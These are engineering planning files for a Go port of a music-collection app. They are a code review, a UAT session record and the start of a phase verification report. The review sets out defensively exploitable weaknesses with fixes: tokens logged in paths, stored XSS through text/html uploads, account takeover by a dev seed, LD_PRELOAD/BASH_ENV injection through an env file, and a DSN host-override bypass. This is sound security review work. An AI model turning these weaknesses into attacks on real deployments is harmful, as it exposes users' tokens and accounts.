**Issue:** `path` is added whenever `entry.pattern == ""`. For a path that a token route matches but with another method, ServeMux answers 405 before any route handler runs, so `recordPattern` never fires. I verified this: `POST /public/secret-token` against `GET /public/{token}` returns 405. The same happens for a trailing-slash variant (`/public/<token>/`, 404) and for an OPTIONS request to a non-CORS path. fonoteka has bearer-secret paths of exactly this kind:
- `GET /_fonoteka/api/v1/public/{token}` and `public-wishlist/{token}`
- `GET /_fonoteka/api/v1/invitations/{token}`
- `POST /invitations/{token}/accept`, where a GET answers 405
So `POST /_fonoteka/api/v1/public/<share-token>` puts the share token into the log. The docs say the opposite: "the raw path of a matched route [is never logged] because tokens often travel in paths". Sunscreen redacts by key and pattern, not by a `path` value.
**Fix:** Log a path only when it cannot carry a route parameter, or redact the path segments. For example, log `path` only for a ServeMux 404 where no registered pattern matches any method, or replace every segment longer than N characters or matching a token shape with `{redacted}`:
```go
if entry.pattern == "" {
attrs = append(attrs, slog.String("path", redactPathSegments(req.URL.Path)))
}
// redactPathSegments replaces segments that look like identifiers/tokens
// (len >= 16, or [A-Za-z0-9_-]{8,} with a digit) with "{redacted}".
```
Add a test case with `POST /blog/posts/<secret>` (405) asserting the secret is absent. Fix the docs sentence in the same commit.
### WR-02: 499 remap hides real server errors whenever the client has gone away
**File:** `modules/surf/accesslog.go:61-63`
**Issue:** Every status >= 500 becomes 499 once the request context is cancelled, whatever caused the 5xx. A handler that panics, or that fails on a real DB or engine error, after the browser navigated away or Playwright closed the page, is logged as 499. That happens often: Nuxt aborts in-flight fetches on route change, and Playwright closes pages at the end of each test. `scripts/check-phase14.2.sh` `scan_go_log` (line 195) explicitly treats 499 as clean, so these real failures pass the gate. The comment's premise ("the error came from the cancellation") is assumed, not checked.
**Fix:** Keep the real status and add a separate attribute, so a grep for 5xx still finds every error and cancelled ones can be filtered on purpose:
```go
attrs = append(attrs, slog.Int("status", status))
if errors.Is(req.Context().Err(), context.Canceled) {
attrs = append(attrs, slog.Bool("client_gone", true))
}
```
If 499 is kept for nginx parity, apply it only when nothing was written, or record the original status as `upstream_status`, and have `scan_go_log` refuse `status=499` records that carry an upstream 5xx.
### WR-03: Uploads route serves the stored content type verbatim on the app origin (stored XSS via text/html)
**File:** `modules/surf/uploads.go:57-71` (behaviour in `modules/lagoon/attach/static.go:72-76`); docs claim in `docs/services/storage.md` "Serving files"
**Issue:** The route answers with the blob's stored `Content-Type`. `attach.Store` stores `http.DetectContentType` of the bytes, so a `.txt` upload (in `DefaultFileExtensions`) whose body starts with `<html>` is stored as `text/html`. A cabana file field in non-image mode on a public relation therefore yields a public blob served as `text/html` on the application origin. `X-Content-Type-Options: nosniff` does not help when the declared type is already `text/html`, so the docs sentence "a browser does not sniff a stored file into HTML or script" overstates the protection. The Nuxt app keeps `auth_token` in a JS-readable cookie on that origin. nginx in the PHP setup served by extension (`.txt` as `text/plain`), so this is also a behaviour difference. D-19 says Phase 20 reuses this route.
**Fix:** In `uploadsHandler`, add a sandboxing CSP and force download for anything outside an inline-safe allowlist:
```go
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("Content-Security-Policy", "default-src 'none'; img-src 'self'; media-src 'self'; sandbox")
// after the type is known (wrap the ResponseWriter or move into attach):
// if !inlineSafe(ct) { w.Header().Set("Content-Disposition", "attachment") }
```
`inlineSafe` should cover image/jpeg, png, gif, webp, audio/*, video/* and application/pdf. Correct the docs sentence.
### WR-04: `storage.uploads.public_path_prefix` is not validated: a non-path prefix either fails boot or silently 404s every upload
**File:** `modules/surf/uploads.go:38-51`
**Issue:** The prefix is only trimmed. `joinPath` does not add a leading slash, so ServeMux treats whatever comes before the first `/` as a host pattern. I checked both cases:
- `storage/app/uploads/public` (no leading slash, a plausible WinterCMS-style value) registers `GET storage/app/uploads/public/{path...}` with host `storage`. It never matches, so every cover silently 404s.
- An absolute CDN URL (`https://cdn.example.com/uploads`) panics in ServeMux. `handleRoute` reports this as a misleading "route conflict" error.
A prefix containing `{` or `}` would also be parsed as a wildcard. The ownership check at line 43 compares against the same unnormalized prefix.
**Fix:** Validate when mounting and fail boot with a clear error:
```go
if !strings.HasPrefix(prefix, "/") || strings.ContainsAny(prefix, "{}") || strings.Contains(prefix, "//") {
return fmt.Errorf("surf: storage.uploads.serve needs storage.uploads.public_path_prefix to be an absolute path such as /storage/uploads, got %q", prefix)
}
```
Add test cases for `storage/uploads` and `https://cdn/x`.
### WR-05: `fonoteka:dev-seed` takes over existing accounts and tokens behind a single environment-name gate
**File:** `../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go:72-78, 329-386, 258-280`
**Issue:** The only safeguard is `SUMMER_ENV` (`local` or `dev`), which can also come from a `.env` file next to the config. Inside that gate the seed changes existing accounts without saying so:
- **Existing user:** any user whose email equals `E2E_EMAIL` gets their password reset to `E2E_PASSWORD`, with the default `changeme`. The seed also activates them and clears `must_change_password`.
- **Existing token:** with `DEV_SEED_API_TOKEN` set, an existing `user_api_tokens` row with that hash, owned by any user, is reassigned to the seed user and un-revoked. The `unchanged` check ignores `scopes`.
- **The `dev` environment:** `dev` is a common name for shared, network-reachable servers. On such a server the seed creates `demo@example.com` / `changeme` with a `read write ai` API token.
Phase 20 imports production data, and a local copy of it plus this seed is the likely way a real account gets overwritten.
**Fix:** Add a second, data-based guard before opening the transaction. Refuse when the DSN host is not loopback (the same rule dev-stack.sh applies), and refuse to modify an existing user that the seed did not create unless `--force` is passed. One way is to mark seeded users, for example by checking for the `dev-seed-mcp` token. Never reassign a token row owned by another user: refuse instead. Consider dropping `dev` from the allowed set or documenting it as local-only.
### WR-06: Minted API token secret persisted to a group/world-readable file and echoed into Playwright output
**File:** `../fonoteka.go/scripts/dev-stack.sh:334`; `../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go:309`; `/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts:129-133`
**Issue:** On creation the seed prints `api token: created inv_<secret> (shown once)`. `seed()` tees all seed output to `tmp/dev-stack/seed.out`, which is mode 664 in a 775 directory on this machine. This host has several users (`jin` owns the Nuxt checkout, `golem` runs the stack), so any local user can read a `read write ai` token and use it against `127.0.0.1:8423`. With the `ai` scope that spends the developer's configured AI keys. `seedE2EFixtures` runs the seed with `stdio: 'inherit'`, so a first-run secret also lands in Playwright and CI output. The README says the script "never prints a value".
**Fix:** Create the file with a restrictive umask, and filter the secret before writing it:
```bash
( umask 077; cd "$APP" && TMPDIR="$GO_TMP" bin/fonoteka fonoteka:dev-seed 2>&1 | tee "$RUN/seed.out" )
```
In runTinker.ts, use `stdio: ['ignore', 'pipe', 'inherit']` and drop lines matching `/api token: created/` before echoing. Alternatively, have the seed write the secret only to the terminal, for example behind a `--show-token` flag.
### WR-07: Phase gate `--e2e` can verify a stale binary
**File:** `scripts/check-phase14.2.sh:513-534` (with `../fonoteka.go/scripts/dev-stack.sh:538-546`)
**Issue:** When `dev-stack.sh status` succeeds, the gate reuses the running stack. `up --detach` then prints `already up` and returns without `summer build`, migrate or seed. The Playwright and go.log stages then exercise whatever binary was started earlier, possibly before the commits under review. Plan 04's SUMMARY admits the stack had to be restarted by hand so the binary would include the plan's framework change. A gate that can pass on old code does not fail closed.
**Fix:** Pick one of these:
- Always `down` and `up --detach` in `--e2e`.
- Record the git HEADs of summercms.go and fonoteka.go (and `bin/fonoteka` mtime or `go version -m`) in `tmp/dev-stack/build.id` at `up` time, and have `--e2e` refuse when they differ from the current HEADs.
### WR-08: go.log 5xx scan passes when the access log is off
**File:** `scripts/check-phase14.2.sh:189-201`
**Issue:** `scan_go_log` refuses only when it finds `status=5xx` or the search-failure line. If the developer's `.env.dev` lacks `SUMMER_HTTP__ACCESS_LOG=true`, there are no `http request` records at all, and the scan passes on an empty signal. `config/http.yaml` defaults the key to `false`, and dev-stack.sh does not require it (it is not in `REQUIRED_KEYS`).
**Fix:** Require evidence that the log was produced by this run:
```bash
grep -q 'msg="http request"' "$file" || { echo "refuse: $file has no http request records; set SUMMER_HTTP__ACCESS_LOG=true" >&2; return 1; }
```
Also add `SUMMER_HTTP__ACCESS_LOG` (and `SUMMER_STORAGE__UPLOADS__SERVE`) to `REQUIRED_KEYS`, or export them in `start_go`.
### WR-09: Realtime spec accepts any publication on the channel, including another spec's
**File:** `/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts:114-119`
**Issue:** The live assertion is `received.some(m => m.push?.channel === channel && m.push.pub !== undefined)`. It is evaluated over all frames received since the socket opened, before and after `createAlbum`. Other gate specs create albums in the same user's collection (`album-search` creates two, `album-edit-rate-cover` and `fonoteka-item` one each). If they run in parallel workers, or a previous push is still buffered, the test passes even when the album this spec created publishes nothing. The test can therefore pass without proving that this spec's write published anything.
**Fix:** Snapshot the frame count before the write and match the created album:
```ts
const before = received.length
const id = await createAlbum(page, `E2E Realtime ${Date.now()}`)
await expect.poll(() => received.slice(before).some(m =>
m.push?.channel === channel && JSON.stringify(m.push.pub ?? {}).includes(`"id":${id}`)), ...).toBe(true)
```
## Info
### IN-01: Env file parser exports arbitrary keys, so "never executed" is not quite true
**File:** `../fonoteka.go/scripts/dev-stack.sh:129-150`
**Issue:** Any `KEY=value` is exported, including `BASH_ENV`, `LD_PRELOAD`, `PATH` and `NODE_OPTIONS`. The `setsid bash -c` children source `$BASH_ENV`, so an env file line can still run code, which contradicts the comment and the README.
**Fix:** Export only keys matching `^(SUMMER_|NUXT_|E2E_|DEV_STACK_|DEV_SEED_)` and refuse others by name.
### IN-02: Postgres loopback check can be bypassed by `hostaddr` or a query `host`
**File:** `../fonoteka.go/scripts/dev-stack.sh:215-241`
**Issue:** For URI DSNs, a query `host=` is used only when the netloc host is empty, but pgx lets query parameters override the netloc. `postgres://u:p@localhost/db?host=prod.example` therefore passes the check and connects remotely. `hostaddr=` is ignored in both URI and key=value forms.
**Fix:** Let the query `host` override, check `hostaddr` as well, and refuse multi-host values.
### IN-03: `down` signals recorded process groups without checking they are still this stack's
**File:** `../fonoteka.go/scripts/dev-stack.sh:582-592`
**Issue:** After a crash or reboot, a recycled pgid in `tmp/dev-stack/pids` makes `down` send TERM and then KILL to an unrelated process group.
**Fix:** Record the start time or command line with the pgid (`ps -o lstart= -p`), and compare it before killing.
### IN-04: Seed validates `DEV_SEED_API_TOKEN` only after writing cover blobs, leaving orphans on refusal
**File:** `../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go:168-197, 258-261`
**Issue:** `StoreAlbumPhoto` writes blobs before rows (see `attach.Store`'s contract). A bad `DEV_SEED_API_TOKEN` rolls back the transaction after three covers are written, and the files stay under `storage/app/uploads/public`. The same happens for any later failure.
**Fix:** Validate `DEV_SEED_API_TOKEN` and the token prefix before `lagoon.Transaction`. On rollback, delete the keys the run stored.
### IN-05: Seed's token "unchanged" check ignores expiry and scopes
**File:** `../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go:292-300`
**Issue:** An expired or narrowed `dev-seed-mcp` token counts as present, so no usable token is minted and no secret is shown.
**Fix:** Add `(expires_at IS NULL OR expires_at > now())` to the query, and compare scopes.
### IN-06: `marker_ok` does not check the app name
**File:** `../fonoteka.go/scripts/dev-stack.sh:369`
**Issue:** Any SummerCMS app (for example another `sm-*-app` on the same port) passes `marker_ok` and `guard_marker` (`.backend == "summercms"` only).
**Fix:** Check `.backend == "summercms" and .app == "fonoteka"`.
### IN-07: statusRecorder records a 1xx informational status as the final status
**File:** `modules/surf/accesslog.go:106-111`
**Issue:** A handler that sends `103 Early Hints` and then 200 is logged with status 103.
**Fix:** Record only when `status >= 200` (or overwrite while `w.status < 200`).
### IN-08: Gate header overstates what the whole-suite Go runs check
**File:** `scripts/check-phase14.2.sh:3-5, 331-348`
**Issue:** The header says every stage fails on a go test run that "skips". The `go test ./...` runs in all three modules do not go through `detect`; only the named tests do.
**Fix:** Reword the header, or run the whole suites through `go_json` with an allowlist for intended skips.
### IN-09: Hard-coded absolute developer path in a framework script
**File:** `scripts/check-phase14.2.sh:51`
**Issue:** `PHASE142_NUXT` defaults to `/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app`, which ties the framework repo to one machine layout. dev-stack.sh already requires `DEV_STACK_NUXT_DIR` from the env file.
**Fix:** Default to `$DEV_STACK_NUXT_DIR`, or refuse when `PHASE142_NUXT` is unset.
### IN-10: Search spec relies on the "other" album appearing on the first page after clearing
**File:** `/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts:46-47`
**Issue:** On a collection that has grown (left-over albums from failed runs, real data in the seeded user's collection), the freshly created `other` album may fall off the first page, depending on the list's sort and page size. The spec then becomes order-dependent.
**Fix:** Assert that the list is unfiltered another way (for example, the result count grows back), or search for `E2E Other ${stamp}` in a second step.
### IN-11: Test cleanups ignore errors; `goDir` mis-resolves a relative `E2E_GO_BIN`
**File:** `../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go:106-111`; `/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts:48-51`
**Issue:**
- **Test cleanup:** `TestDevSeedOpensDatabase` deletes `users` with the errors ignored. A foreign-key refusal leaves the seeded collections, albums and tokens in the shared container.
- **`goDir`:** `path.resolve(path.dirname(bin), '..')` resolves a relative `E2E_GO_BIN` against the Nuxt checkout's working directory, not the app's.
**Fix:** Check the cleanup `Exec(...).Error` with `t.Errorf`, and delete dependents first. Resolve `E2E_GO_BIN` to an absolute path, or refuse a relative one.
---
_Reviewed: 2026-10-11T22:16:58Z_
_Reviewer: Claude (msd-code-reviewer)_
_Depth: standard_

View File

@@ -0,0 +1,138 @@
---
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
plan: 03
status: complete
---
# Phase 14.2 UAT: vue-fonoteka-app on the local Go backend
This file records the D-13 manual session (plan 03, Task 4) and the D-11 PHP cross-check of the plan 03 specs.
## Automated evidence (plan 03, Tasks 1 and 3)
- Go gate subset (D-15) through `fonoteka.go/scripts/dev-stack.sh e2e`. Specs: `auth.setup.ts`, `login.spec.ts`, `smoke.spec.ts`, `fonoteka-item.spec.ts`, `public-share.spec.ts`, `realtime.spec.ts`, `i18n.spec.ts`, `album-edit-rate-cover.spec.ts`, `album-search.spec.ts`, `wishlist.spec.ts`. Result: `expected=17 unexpected=0 skipped=0 flaky=0`, `e2e-verdict: passed`.
- The realtime live test passed against the shared Centrifugo after the D-18/D-23 operator step: a connect reply, an error-free `collection:` subscribe and a push on that channel after an API album create.
- Commits tested: vue-fonoteka-app `c1f323a`; fonoteka.go `7675d64`.
- Re-run after the session fixes (2026-10-11): the same 10 spec files give `expected=17 unexpected=0 skipped=0 flaky=0`, `e2e-verdict: passed`. Tested with fonoteka.go `807dfdb`, summercms.go `4660f95`, vue-fonoteka-app `c1f323a`. Afterwards `grep -cE 'status=5[0-9]{2}' tmp/dev-stack/go.log` printed 0.
## PHP cross-check (Task 3): deferred
The plan 03 specs could not be checked against PHP automatically on 2026-10-11.
- **What PHP did:** PHP started. `php artisan serve --host=127.0.0.1 --port=8422` in `/media/nvme/dev/golem15/fonoteka` answered the probe `GET http://127.0.0.1:8422/_fonoteka/api/v1/albums` with `HTTP/1.1 401 Unauthorized` and `X-Powered-By: PHP/8.5.10`, so the verify took branch A.
- **Why the run did not count:** no PHP E2E credentials are available to the executor. `E2E_EMAIL` and `E2E_PASSWORD` were still unset after Playwright loaded `tests/e2e/.env.local` and `tests/e2e/.env`. `auth.setup.ts` therefore wrote an empty storage state, and the five specs skipped.
- Report: `expected=1 unexpected=0 skipped=5 flaky=0`.
- `e2e-verdict` refused it. It is **not** a PHP pass.
- **Why the executor did not seed:** the Go seed user `demo@example.com` / `changeme` does not exist on PHP (`POST /_user/api/v1/login` answered 401). The executor did not create a user in the developer's PHP database. Seeding with `seedE2EFixtures()` in PHP mode runs `firstOrNew` on the e-mail, so it can reset the password of an existing user.
**Manual PHP check (Task 4, item 11).** Run it with the credentials of a PHP user whose collection may receive temporary `E2E …` albums. Every spec deletes what it creates.
```sh
# Go stack stopped first: bash ../fonoteka.go/scripts/dev-stack.sh down
cd /media/nvme/dev/golem15/fonoteka && php artisan serve --host=127.0.0.1 --port=8422 &
cd /media/nvme/dev/golem15/summercms.io/summercms/summercms.go
R=/tmp/php-e2e-14.2.json; rm -f "$R"
env -u CI -u E2E_BACKEND E2E_EMAIL='<php user>' E2E_PASSWORD='<password>' \
E2E_FRONTEND_URL=http://localhost:3119 E2E_BACKEND_URL=http://localhost:8422 E2E_CENTRIFUGO=1 \
PLAYWRIGHT_JSON_OUTPUT_NAME="$R" pnpm --dir /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app exec playwright test \
auth.setup.ts realtime.spec.ts album-edit-rate-cover.spec.ts album-search.spec.ts wishlist.spec.ts \
--project=chromium --reporter=json > /dev/null
bash ../fonoteka.go/scripts/dev-stack.sh e2e-verdict "$R" # must print e2e-verdict: passed
```
Item 11 passes only on a run with no skipped, unexpected or flaky test. Until then the plan stays open (D-11). The run was done at Task 4; see below.
## Manual session (Task 4, D-13)
Session by the developer on 2026-10-11 (about 20:10 to 20:20 local time) against the Go stack. Commits tested: fonoteka.go `7675d64`, summercms.go `66dbd5a` (framework), vue-fonoteka-app `c1f323a`. The session's Go log is kept as `fonoteka.go/tmp/dev-stack/go.log.uat-session-20261011`.
| # | Item | Result | Notes |
|---|------|--------|-------|
| 1 | Login lands outside /login | pass | |
| 2 | Collections: "Moja kolekcja" lists Kind of Blue, Blue Train, Mingus Ah Um with covers | pass | |
| 3 | Album detail page opens | pass | After an artist change the detail page keeps the old `artist_display`. Same as PHP: `Album.php` (around line 397) fills `artist_display` only when it is empty. See finding E. |
| 4 | Search "Mingus" finds the album; no `album search engine failed` in go.log | pass | search_fail = 0 |
| 5 | Edit name persists after reload | pass | Finding A below (empty artist field): fixed in fonoteka.go `d31e00a`. The developer re-verified it: Blue Train shows John Coltrane. |
| 6 | Rating persists after reload | pass | |
| 7 | Cover upload shows on the page | pass (re-verified) | Finding B: a new photo is appended and the first photo stays the main cover, as on PHP. The developer re-verified it. |
| 8 | Wishlist add on /wishlist/new, then remove | pass | Also marked an existing entry purchased. |
| 9 | Realtime: `collection:` subscribe without error; push frame after an edit in a second tab | pass (matches PHP) | See finding C. The subscribe reply had no error and the push arrived. |
| 10 | No 5xx in go.log; no `X-Powered-By: PHP` through :3119 | pass after fix | The session failed it; see finding D. After the fix, go.log had 0 5xx lines. No PHP header; search_fail = 0. |
| 11 | PHP cross-check | pass (by classification) | PHP: `expected=4 unexpected=2 skipped=0 flaky=0`; Go: all passed on the same specs. Both PHP failures come from the environment or the test fixture, not from a contract difference. See "PHP cross-check (Task 4, item 11)" below. |
### Finding A: the artist field in the edit form was empty (fixed in Go)
- **Symptom:** the collection view showed "John Coltrane" for Blue Train, but the Artist field of the edit form was empty.
- **Cause:** `fonoteka:dev-seed` set only `artist_display` and attached no artist rows, so `GET /albums/3` answered `"artists":[]`. The edit form fills the field from `album.artists` (`utils/album-draft.ts`).
- **Fix:** fonoteka.go `d31e00a`. The seed creates albums with `artists: [<name>]` through `classes.CreateAlbum`, the album form's path. A rerun attaches the artist to a seeded album that has no artist rows and reports `album …: updated`. `TestDevStackSmoke` covers both cases.
- **After the fix:** the restart printed `album Kind of Blue: updated`, `album Blue Train: updated` and `wishlist album A Love Supreme: updated`. `GET /albums/3` now answers `artists: ["John Coltrane"]`. Mingus Ah Um already had the artist set during the session.
- **Other write paths:** every non-seed album create goes through `classes.CreateAlbum`, the port of `AlbumWriteService::create`. That covers the album form, the wishlist form, bulk and CSV import. The create rules require `artists` (`required|array|min:1`, also per bulk row), as in PHP. The seed was the only path without artist rows.
### Finding B: a new cover does not become the main cover (matches PHP, not a Go defect)
- **Frontend:** both the edit gallery (`PhotoUploader.vue` `editHeroSrc`) and the detail page (`AlbumCoverGallery.vue` `hero`) show `photos[0]` as the main cover.
- **PHP:** `Album::$attachMany['photos']` is ordered by `sort_order`, and Winter's `Sortable` trait sets `sort_order` to the new file id on create (`vendor/winter/storm/src/Database/Traits/Sortable.php`). A new photo is therefore appended, and the oldest photo stays the main cover.
- **Go:** `classes.AttachAlbumPhoto` sets `sort_order = id`, and the DTO orders by `sort_order, id`.
- **Reproduction on Go** (album with photo A, then photo B uploaded through the edit form):
- API order is `[A, B]`.
- In the edit page right after the upload, the hero is A and the strip is `[A, B]`.
- After F5, the hero is still A.
- The upload answer has the PHP shape: `201 {"data":{"id","url","thumb_url"}}`.
- **The developer's session:** the log has two photo POSTs at 20:15:10 and 20:15:16, then `DELETE /albums/{id}/photos/{fileId}` at 20:15:23. The access log does not record the album id. The main cover changes only when `photos[0]` changes, for example when the older photo is deleted. That fits a new photo that showed as the main cover only later.
- **Re-verify:** item 7 means "the uploaded photo shows on the page", and the photo appears in the strip at once. A new photo replacing the main cover is not PHP behaviour.
### Finding C: realtime push arrives, no UI refresh for the same user (frontend design, same on PHP)
- **The Go push frame on `collection:2`:** `{"event":"updated.fonoteka.album","payload":{"id","collection_id","action","actor":{"user_id":2,"name":"Demo"},"timestamp","album"},"timestamp"}`.
- **The PHP publication:** the same keys at both levels. `CentrifugoClient::publish` sends `data: {event, payload, timestamp}`, and the payload comes from `Album::getBroadcastPayload` (`id`, `collection_id`, `action`, `actor`, `timestamp`, `album`).
- **The frontend's self-echo guard:** `useRealtimeSync.ts` skips the refresh when `payload.actor.user_id === auth.user.id`. Both tabs were logged in as the same user, so the second tab's edit is the first tab's own echo, and it is suppressed on purpose. Against PHP it behaves the same.
- **Re-verify:** for a UI refresh, edit from a different user who shares the collection (a household member).
### Finding D: a cancelled request was logged as a 500 (fixed in the framework)
- **What was logged:** `GET /_fonoteka/api/v1/genres status=500` at 20:18:34. The client cancelled the request, `classes/active_collection.go:204` failed with `context canceled`, and the handler wrote a 500 that no client received. PHP keeps running after a client disconnect and does not log a server error.
- **Fix:** summercms.go `4660f95`. The surf access log records a 5xx written after the request context ended with `context.Canceled` as 499 (client closed request). A real 5xx on a live request keeps its status.
- **Tests and docs:** `TestAccessLogClientClosedRequest` covers both cases. The surf README and `docs/services/logging.md` are updated.
- **Left as is:** the GORM logger still prints the `context canceled` line in colour; that is the known GORM log noise in `deferred-items.md`.
### Also fixed during the session follow-up
- fonoteka.go `807dfdb`: `dev-stack.sh e2e` exports `TMPDIR=tmp/dev-stack/go-tmp`. The session renamed the seeded "Kind of Blue" to "Kind of Blue!", so the next `fonoteka:dev-seed` run in `auth.setup.ts` created a new "Kind of Blue" album and had to write a new cover. It and failed with `invalid cross-device link`. This is the deferred file-bucket issue, now covered on the e2e path too.
### For the developer to re-verify
- **Artist field:** open Edit on Blue Train; the field shows John Coltrane.
- **Item 7:** upload a photo to an album that has a cover. It appears in the photo strip right away, and the main cover stays the first photo. To make it the main cover, delete the old one.
- **Item 9 (optional):** an edit by another household member refreshes the open page.
- **Item 11:** the PHP run described in the deferred section.
### Finding E: `artist_display` stays the same after an artist change (same as PHP)
- **What happens:** changing an album's artists does not rewrite `artist_display`.
- **PHP:** the same. `Album.php` (around line 397) fills `artist_display` only when it is empty.
- **Go:** the same. `syncAlbumArtistsFromInput` keeps a non-empty `artist_display` that the request sends; the edit form sends it. It derives the value only when the request omits it or leaves it empty.
- No change; the item passes.
## PHP cross-check (Task 4, item 11)
The developer ran it on 2026-10-11, together with the coordinator.
- **Setup:**
- Go stack stopped during the run.
- PHP through `php artisan serve` on :8422; Nuxt on :3119 pointed at it.
- A throwaway PHP user `e2e-go-check@example.com`, created for the run and deleted afterwards (`deleted=1 remaining=0`).
- **Specs:** `auth.setup.ts`, `realtime.spec.ts`, `album-edit-rate-cover.spec.ts`, `album-search.spec.ts`, `wishlist.spec.ts`.
- **PHP result:** `expected=4 unexpected=2 skipped=0 flaky=0`.
- **Go result on the same specs:** all passed.
The two PHP failures:
1. **`album-edit-rate-cover`: a fixture artefact on PHP.**
- PHP answered `POST /albums/{id}/photos` with a 500. `system.log` shows `TypeError: imagealphablending(): Argument #1 must be of type GdImage, false given` at winter/storm `Database/Attach/Resizer.php:139`.
- GD cannot decode the spec's hand-built 1x1 PNG fixture (`PNG_1PX`). GD itself supports PNG, JPEG, WebP and AVIF, and a real photo uploaded through PHP works (manual item 7).
- Go accepts the fixture. This is not a Go divergence.
2. **`realtime` live: an environment gap on PHP.**
- No Centrifugo socket opened within 15 s. The PHP log says `Centrifugo: Skipping publish (not configured)`: the local PHP env has no Centrifugo config.
- The realtime baseline test passed on PHP. This is not a Go divergence.
**Verdict:** item 11 passes. No contract difference between PHP and Go was found. The strict D-11 bar (a clean PHP run) was not met, because the two failures above come from the fixture and from the PHP environment. The developer accepted the classification, and both issues are in `deferred-items.md`.

View File

@@ -0,0 +1,253 @@
---
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
verified: 2026-10-12T10:41:00Z
status: passed
score: 54/54 must-haves verified (5 by override or human verification)
covered_files:
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-01-PLAN.md
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-01-SUMMARY.md
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-02-PLAN.md
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-02-SUMMARY.md
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-03-PLAN.md
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-03-SUMMARY.md
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-04-PLAN.md
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-04-SUMMARY.md
- docs/services/logging.md
- docs/services/storage.md
- docs/setup/configuration.md
- modules/surf/README.md
- modules/surf/accesslog.go
- modules/surf/accesslog_test.go
- modules/surf/router.go
- modules/surf/uploads.go
- modules/surf/uploads_test.go
- scripts/check-phase14.2.sh
covered_digest: "v2:sha256:458b8aba274a449e0c7fec7aa5776f833f9e2dc54b4b2686e64b625d0e59960c"
behavior_unverified: 0
overrides_applied: 3
overrides:
- must_have: "Per D-11, D-16 and D-21, the new and rewritten specs also pass against the PHP backend on :8422 with the app's own PHP-targeted .env"
reason: "The PHP run (UAT item 11) gave expected=4 unexpected=2. Both failures were classified as non-contract: the PNG_1PX fixture cannot be decoded by PHP GD (Resizer.php:139), and the local PHP env has no Centrifugo config. Go passed the same specs. Both follow-ups are in deferred-items.md."
accepted_by: "developer (14.2-UAT.md item 11, 'The developer accepted the classification')"
accepted_at: "2026-10-11T21:04:28Z"
- must_have: "TestDevSeedRefusesProduction proves local and dev pass the gate; TestDevMarkerRoute answers 200 for local and dev (D-02; 14.2-01 truths 3 and 7, 14.2-04 truths 2 and 5)"
reason: "WR-05: dev is a common name for a shared server; seed, marker and dev-stack.sh accept local only. D-02 amended in 14.2-CONTEXT.md."
accepted_by: "developer (orchestrator question after verification)"
accepted_at: "2026-10-12T11:01:43Z"
- must_have: "http.access_log adds path without its query string only for unmatched requests (D-12; 14.2-01 truth 9, 14.2-04 truth 7)"
reason: "WR-01: share and invitation tokens travel in paths; the log records method, pattern, status and duration only. D-12 amended in 14.2-CONTEXT.md."
accepted_by: "developer (orchestrator question after verification)"
accepted_at: "2026-10-12T11:01:43Z"
behavior_unverified_items: []
human_verified:
- test: "Foreground `dev-stack.sh up`: SIGINT stops Go and Nuxt and removes the pid file"
result: "pass: ran by the orchestrator at the developer's request; exit=130, tmp/dev-stack/pids removed, ports 8423 and 3119 free, no fonoteka serve or nuxt dev process left; stack restarted with up --detach"
recorded_at: "2026-10-12T11:01:43Z"
- test: "Four test-tier prohibitions, checked with commands"
result: "pass: (1) `git log df7876b..HEAD -- plugins/golem15/user` in fonoteka.go is empty; (2) vue-fonoteka-app `git status --short` is clean; (3) dev-stack.sh mentions /etc/centrifugo/config.json only in warn text and has no systemctl or publish call; (4) all 54 'E2E ...' albums in fonoteka_go_dev have deleted_at set, i.e. every spec's DELETE ran; soft delete matches PHP (Album.php uses Winter SoftDelete)"
recorded_at: "2026-10-12T11:01:43Z"
- test: "UAT items 1-11 (login, browse collections/albums, album detail, search, edit, rate, cover upload, wishlist add/remove, realtime, no 5xx/no PHP header, PHP cross-check)"
uat_row: "1-11"
recorded_at: "2026-10-11T21:04:28Z"
note: "Files changed after the UAT (review fixes WR-01..09: accesslog.go, uploads.go, router.go, dev_seed.go, dev-stack.sh, runTinker.ts, realtime.spec.ts) were re-exercised by the gate's Go e2e run e2e-20261012T101126Z (17/0/0/0, started 10:11:27Z, after the last Go commit 261d9bc and the build stamp 09:28:54Z): login with the seed, cover decode through the Nuxt /storage proxy, search, wishlist, realtime subscribe and push. go.log has 0 5xx records. No re-test requested."
human_verification: []
---
# Phase 14.2: Local Fonoteka frontend on local SummerCMS backend: Verification Report
**Phase goal:** A developer runs the existing `vue-fonoteka-app` locally against the local `fonoteka.go` SummerCMS backend (not PHP), logs in, and uses the real Nuxt flows so the port is proven in daily use before production cutover.
**Verified:** 2026-10-12T10:41:00Z
**Status:** passed (after human verification on 2026-10-12T11:01:43Z: D-02 and D-12 overrides accepted, foreground Ctrl-C cleanup and the four prohibitions checked)
**Re-verification:** No (initial verification; no previous VERIFICATION.md)
The phase goal is achieved in the codebase. All four roadmap success criteria are verified with fresh or post-fix evidence. Nothing blocks. Four items need a human decision: two deliberate contract narrowings from the review fixes (WR-05, WR-01), one cleanup invariant that no test exercises, and four test-tier prohibitions enforced only statically.
## MVP mode note (warning)
